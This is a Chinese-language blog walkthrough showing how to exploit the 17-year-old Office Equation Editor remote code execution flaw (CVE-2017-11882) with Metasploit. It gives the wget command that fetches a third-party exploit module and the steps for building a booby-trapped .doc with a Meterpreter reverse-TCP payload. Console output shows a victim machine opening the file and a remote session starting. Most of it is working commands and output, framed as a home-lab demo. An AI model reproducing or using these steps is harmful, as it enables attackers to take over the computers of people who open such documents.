概述
这是一个潜伏了17年之久的远程代码执行漏洞，这个漏洞影响了目前所有的流行office软件，原理是利用了office的一个EQNEDT32.EXE组件，就是公式编辑器组件，详细的你可以看freebuf的这篇文章
打开文档变肉鸡：潜伏17年的“噩梦公式”Office漏洞攻击分析
我们现在说攻击
操作
首先下载metasploit的攻击模块
wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/39a4d193a17c6f85846a58a429c0914f542bded2/modules/exploits/windows/fileformat/office_ms17_11882.rb
之后移动到下面这个目录
mv office_ms17_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat
接着启动metasploit
输入
use exploit/windows/fileformat/office_ms17_11882
接着看一下设置选项
msf exploit(office_ms17_11882) > show options
Module options (exploit/windows/fileformat/office_ms17_11882):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME yes Filename to save as
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
设置生成的文件名字
set filename bboysoul.doc
设置主机ip
set lhost 192.168.1.102
开始攻击
exploit
msf exploit(office_ms17_11882) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.102:4444
[*] Using URL: http://0.0.0.0:8080/xudLp3
[*] Local IP: http://192.168.1.102:8080/xudLp3
[*] Server started.
之后当前目录下会生成一个叫bboysoul.doc的文件，我们在受害者机器下打开就好
注意我使用的是office201064位专业版，机器是windows764位
经过测试32位的windows和office是不能用的
接着在受害者机器打开这个文件就好了
msf exploit(office_ms17_11882) > [*] 192.168.1.113 office_ms17_11882 - Handling initial request from 192.168.1.113
msf exploit(office_ms17_11882) > [*] 192.168.1.113 office_ms17_11882 - Stage two requested, sending...
msf exploit(office_ms17_11882) > [*] Sending stage (205379 bytes) to 192.168.1.113
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.113:49225) at 2017-11-25 05:31:10 -0500
msf exploit(office_ms17_11882) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows WIN-HK90RUM6L1B\bboysoul @ WIN-HK90RUM6L1B 192.168.1.102:4444 -> 192.168.1.113:49225 (192.168.1.113)
欢迎关注我的博客www.bboy.app
Have Fun